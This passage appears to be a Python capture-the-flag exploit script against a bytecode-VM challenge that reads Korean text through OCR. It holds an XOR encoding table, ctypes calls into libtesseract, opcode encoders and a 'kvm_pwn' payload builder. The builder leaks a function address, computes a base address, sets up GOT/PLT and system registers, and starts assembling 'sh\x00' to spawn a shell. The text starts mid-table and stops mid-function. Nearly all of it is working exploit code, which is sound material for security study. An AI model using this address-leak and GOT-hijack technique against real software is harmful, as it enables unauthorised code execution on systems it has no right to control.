functable.append(lambda a1,a2:((a2 ^ 5) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x16) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x18) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xE) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1B) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x15) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x19) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 5) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 5) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x18) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 1) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x10) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x16) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1A) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1E) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 8) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1C) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xE) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xE) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 7) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xD) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x11) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1C) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xD) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1C) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x11) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 5) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xB) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1C) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x12) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1A) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1B) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xF) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x18) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 8) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x12) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 5) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x16) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1D) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xE) ^ a1) & 0x1F)
functable.append(lambda a1,a2:(a2 ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x18) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x10) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xF) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1A) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1C) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F)
functable.append(lambda a1,a2:(a2 ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 6) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x15) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 2) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x15) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 6) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x13) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x16) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xE) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x15) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x13) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1D) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 8) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 2) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1A) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 8) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1E) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x12) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xE) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 7) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x19) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xE) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xE) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x11) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x10) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xD) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1B) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x12) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F)
functable.append(lambda a1,a2:(a2 ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x10) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xA) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x13) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xB) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x19) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 6) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xF) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x11) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 8) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1B) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1B) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1E) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1A) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x15) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xA) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 6) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 2) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 8) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 6) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 2) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x15) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 9) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xB) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 2) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xB) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x19) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1C) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 5) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 9) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x10) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x10) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 6) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1E) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 6) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 8) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xB) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x18) ^ a1) & 0x1F)
functable.append(lambda a1,a2:(a2 ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xE) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1E) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F)
functable.append(lambda a1,a2:(a2 ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x11) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x16) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x16) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xF) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1C) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1D) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 5) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1B) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x19) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x18) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 8) ^ a1) & 0x1F)
functable.append(lambda a1,a2:(a2 ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x15) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 2) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x18) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 1) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 9) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x16) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x12) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1B) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xE) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 1) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1C) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xA) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1D) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1D) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xD) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xF) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 9) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xD) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x13) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xA) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x19) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 9) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 1) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x13) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1B) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xB) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x13) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1B) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F)
functable.append(lambda a1,a2:(a2 ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x19) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 8) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1A) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 2) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 6) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x18) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x16) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1D) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 7) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xF) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x12) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 8) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x13) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x12) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 9) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1A) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 8) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xA) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 8) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 2) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x12) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 5) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xE) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xD) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x16) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xF) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1D) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F)
functable.append(lambda a1,a2:(a2 ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 8) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 7) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 6) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xF) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xF) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xA) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 8) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x11) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x18) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xE) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x10) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xA) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xA) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xA) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1B) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x15) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1E) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x15) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xB) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xE) ^ a1) & 0x1F)
def draw_text(img, text, font_size):
draw = PIL.ImageDraw.Draw(img)
draw.font = PIL.ImageFont.truetype("/usr/share/fonts/truetype/nanum/NanumBarunGothic.ttf", font_size)
img_size = numpy.array(img.size)
txt_size = numpy.array(draw.font.getsize(text))
pos = (img_size - txt_size) / 2
h = 4
w = 4
for i in range(len(text)):
pos = [w, h]
draw.text(pos, text[i], (0, 0, 0))
w += font_size + 6
if (i%LINE_CHAR_COUNT) == LINE_CHAR_COUNT -1:
h += font_size + 6
w = 4
def image2text(filename):
libtesseract = CDLL("libtesseract.so.3")
liblept = CDLL("liblept.so.5")
ctx = create_string_buffer(0x90)
libtesseract._ZN9tesseract11TessBaseAPIC1Ev.argtypes = [c_void_p]
libtesseract._ZN9tesseract11TessBaseAPIC1Ev(ctx)
lang = "kor"
f = libtesseract._ZN9tesseract11TessBaseAPI4InitEPKcS2_NS_13OcrEngineModeEPPciPK13GenericVectorI6STRINGESA_b
f.argtypes = [c_void_p, c_char_p, c_char_p, c_int, c_void_p, c_int, c_void_p, c_void_p, c_int]
f(ctx, None, lang, 3, None, 0, None, None, 0)
f = liblept.pixRead
f.argtypes = [c_char_p]
f.restype = c_void_p
pix = f(filename)
f = libtesseract._ZN9tesseract11TessBaseAPI8SetImageEP3Pix
f.argtypes = [c_void_p, c_void_p]
f((ctx), (pix))
f = libtesseract._ZN9tesseract11TessBaseAPI11GetUTF8TextEv
f.argtypes = [c_void_p]
f.restype = c_char_p
text = f(ctx)
f = libtesseract._ZN9tesseract11TessBaseAPI3EndEv
f.argtypes = [c_void_p]
f(ctx)
"""
f = liblept.pixDestroy
f.argtypes = [POINTER(c_void_p)]
f(byref(pix))
"""
return text
def cmd2msg(cmd):
m = u""
for i in range(len(cmd)):
c = functable[i](i, cmd[i])
m += msg_list[c]
return m
def cmd_set_random(pos):
return [1, pos] + [31]
def cmd_i2a(pos):
return [2, pos] + [31]
def cmd_i2c(pos):
return [3, pos] + [31]
def cmd_compare(pos1, pos2):
return [4, pos1, pos2] + [31]
def cmd_jmp(pos):
return [5, pos] + [31]
def cmd_jmp_equal(pos):
return [6, pos] + [31]
def cmd_jmp_less(pos):
return [7, pos] + [31]
def cmd_jmp_greater(pos):
return [8, pos] + [31]
def cmd_op_equate(pos1, pos2):
return [9, pos1, pos2] + [31]
def cmd_op_pointer_read(pos1, pos2):
return [10, pos1, pos2] + [31]
def cmd_op_pointer_write(pos1, pos2):
return [11, pos1, pos2] + [31]
def cmd_op_inc(pos1):
return [12, pos1] + [31]
def cmd_op_dec(pos1):
return [13, pos1] + [31]
def cmd_op_mul(pos1, pos2):
return [14, pos1, pos2] + [31]
def cmd_op_div(pos1, pos2):
return [15, pos1, pos2] + [31]
def cmd_op_sub(pos1, pos2):
return [16, pos1, pos2] + [31]
def cmd_op_add(pos1, pos2):
return [17, pos1, pos2] + [31]
def cmd_op_mod(pos1, pos2):
return [18, pos1, pos2] + [31]
def cmd_op_set_zero(pos1):
return [19, pos1] + [31]
def cmd_nop():
return [0] + [31]
def cmd_nop20():
return [20] + [31]
def cmd_final():
return [21] + [31]
def cmd_continue():
return [31]
def kvm_rev():
cmd = []
reg_rand_old = 0
reg_rand = 1
reg_rand2 = 2
reg_total = 3
reg_10 = 4
reg_loop_pos = 5
reg_128 = 6
reg_2 = 7
reg_loop_label = 8
cmd += cmd_op_inc(reg_2)
cmd += cmd_op_inc(reg_2)
cmd += cmd_op_inc(reg_10)
cmd += cmd_op_inc(reg_10)
cmd += cmd_op_inc(reg_10)
cmd += cmd_op_mul(reg_10, reg_10) #9
cmd += cmd_op_inc(reg_10) #10
cmd += cmd_op_dec(reg_loop_label)
cmd += cmd_op_dec(reg_loop_label)
cmd += cmd_op_dec(reg_loop_label)
cmd += cmd_op_mul(reg_loop_label, reg_10) #-30
cmd += cmd_op_dec(reg_loop_label) # 31
cmd += cmd_op_dec(reg_loop_label) # 32
cmd += cmd_op_inc(reg_128) #
cmd += cmd_op_inc(reg_128) #
cmd += cmd_op_mul(reg_128, reg_128) #4
cmd += cmd_op_mul(reg_128, reg_128) #16
cmd += cmd_op_mul(reg_128, reg_128) #256
cmd += cmd_op_div(reg_128, reg_2) #128
cmd += cmd_op_dec(reg_128)
cmd += cmd_nop()
cmd += cmd_nop()
label_loop = len(cmd)
cmd += cmd_set_random(reg_rand)
cmd += cmd_op_equate(reg_rand2, reg_rand)
cmd += cmd_op_mul(reg_rand, reg_10)
cmd += cmd_op_add(reg_rand, reg_rand_old)
cmd += cmd_op_equate(reg_rand_old, reg_rand2)
cmd += cmd_i2a(reg_rand)
cmd += cmd_compare(reg_loop_pos, reg_128)
cmd += cmd_op_inc(reg_loop_pos)
cmd += cmd_jmp_less(reg_loop_label)
print "loop_delta %d" % (len(cmd) - label_loop)
cmd += cmd_final()
msg = cmd2msg(cmd)
print "msg_len %d" % len(msg)
return msg
def cmd_const_u8(reg, n):
cmd = []
cmd += cmd_op_set_zero(reg)
for i in range(8):
if n & (1<<i):
# reg |= 1<<i
cmd += cmd_op_add(reg, i+1)
return cmd
def kvm_pwn():
cmd = []
reg_0 = 0
reg_1 = 1
reg_2 = 2
reg_4 = 3
reg_8 = 4
reg_16 = 5
reg_32 = 6
reg_64 = 7
reg_128 = 8
reg_256 = 9
reg_minus_1 = 10
reg_tmp = 11
reg_loop_idx = 12
reg_loop_count = 13
reg_jmp_delta = 14
reg_funcaddr = 15
reg_cmdptr = 16
reg_cmd = 17
reg_system = 18
reg_gotplt_cout = 19
reg_gotplt_print = 20
# -1
cmd += cmd_op_dec(reg_minus_1)
# 1
cmd += cmd_op_inc(reg_1)
# 2
cmd += cmd_op_inc(reg_2)
cmd += cmd_op_inc(reg_2)
# 4
cmd += cmd_op_equate(reg_4, reg_2)
cmd += cmd_op_mul(reg_4, reg_2)
cmd += cmd_nop()
# 8
cmd += cmd_op_equate(reg_8, reg_4)
cmd += cmd_op_mul(reg_8, reg_2)
cmd += cmd_nop()
cmd += cmd_nop()
cmd += cmd_op_equate(reg_16, reg_8)
cmd += cmd_op_mul(reg_16, reg_2)
# 16
cmd += cmd_op_equate(reg_16, reg_8)
cmd += cmd_op_mul(reg_16, reg_2)
# 32
cmd += cmd_op_equate(reg_32, reg_16)
cmd += cmd_op_mul(reg_32, reg_2)
cmd += cmd_nop()
# 64
cmd += cmd_op_equate(reg_64, reg_32)
cmd += cmd_op_mul(reg_64, reg_2)
# 128
cmd += cmd_op_equate(reg_128, reg_64)
cmd += cmd_op_mul(reg_128, reg_2)
# 256
cmd += cmd_op_equate(reg_256, reg_128)
cmd += cmd_op_mul(reg_256, reg_2)
cmd += cmd_nop()
# skip randoms
cmd += cmd_op_equate(reg_loop_count, reg_128)
cmd += cmd_op_dec(reg_loop_count)
cmd += cmd_op_equate(reg_jmp_delta, reg_16)
cmd += cmd_op_mul(reg_jmp_delta, reg_minus_1) # -16
if 1:
# for i in range(128):
# tmp = randtbl[randpos++]
cmd += [0,0,31]
cmd += cmd_set_random(reg_tmp)
cmd += cmd_compare(reg_loop_idx, reg_loop_count)
cmd += cmd_op_inc(reg_loop_idx)
cmd += cmd_jmp_less(reg_jmp_delta)
# ---
# funcaddr = randtbl[128]
cmd += cmd_set_random(reg_funcaddr)
# baseaddr = funcaddr - 0xB6E3
# cmd = "sh\x00"
cmd += cmd_nop()
cmd += cmd_nop()
cmd += cmd_nop()
cmd += cmd_nop()
cmd += cmd_nop()
cmd += cmd_nop()
cmd += cmd_const_u8(reg_tmp, 0x73)
cmd += cmd_nop()
cmd += cmd_nop()
cmd += cmd_nop()
cmd += cmd_op_add(reg_cmd, reg_tmp)
cmd += cmd_const_u8(reg_tmp, 0x68)
